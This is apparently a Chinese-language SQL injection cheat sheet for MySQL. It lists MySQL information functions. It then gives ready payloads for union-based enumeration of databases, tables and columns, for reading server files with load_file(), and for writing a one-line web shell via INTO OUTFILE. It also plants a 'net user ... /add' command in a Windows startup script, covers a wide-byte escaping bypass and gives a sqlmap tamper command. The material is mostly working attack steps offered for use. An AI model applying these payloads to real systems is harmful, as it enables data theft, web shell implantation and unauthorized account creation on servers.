Sql注入之Mysql
Mysql函数
- system_user():系统用户名
- user():用户名
- current_user:当前用户名
- session_user():连接数据库的用户名
- database():数据库名
- version():数据库版本
- load_file():读取本地文件函数
- @@datadir:读取数据库路径
- @@basedir:mysql安装路径
- @@version_compile_os:操作系统
Mysql注入利用
Mysql数据库从5.0版本之后开始有information_schema数据库
该数据库存放了Mysql数据库的信息
联合注入
使用联合注入查询infromation_schema中信息时,注意使用16进制
id=1 union select 1,2,3,4
当如上命令运行后,页面没有回显上面的对应数字,可以使用如下命令
id=1 and 1=2 union select 1,2,3,4
- 查库名
union select 1,2,3,database()
- 查表名
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=库名的16进制
group_concat():可以将所有返回的信息连成字符串并以“,”分开
- 表下列名
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name = 表名的16进制
表名列名已经知道,就可以直接查询数据了
Mysql4.0注入
类似于Access数据库的注入,进行爆破注入。
读写函数使用
- 读
路径要为绝对路径,要有管理员权限
绝对路径可以在一些报错种查找,没有明确回显的可以通过抓包看
union select 1,2,load_file('C:/www/shell.php')
union select 1,2,load_file('C:\www\shell.php')
union select 1,2,load_file(test) #test代表路径的16进制形式
- 写
写入的内容一定要使用双引号来引起来
写入一句话木马
union select 1,2,"一句话木马" into outfile 'C:/www/shell.php'
系统命令执行
union select 1,2,"net user test test /add" into outfile 'C://Documents and Settings/Administrator/ [开始] 菜单/程序/启动/a.bat'
如上将代码写入了开机启动,所起开机时就会创建用户
宽字节注入
介绍:
- 当某字符的大小为一个字节时,称其字符为窄字节.
- 当某字符的大小为两个字节时,称其字符为宽字节
- 所有英文默认占一个字节;汉字占两个字节
- 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
- 后端对窄字节进行过滤,对宽字节不进行过滤(对单引号进行转义使其不起作用,成为内容)
- 绕过思路为:让转义符号消失;或让其失去作用
- PHP中magic_quotes_gpc配置造成宽字节注入(PHP自5.3.0起废弃,5.4.0起移除)
利用
使用Sqlmap
sqlmap -u "www.xxx.com/xx.php?id=1" --tamper unmagicquotes.py -v 3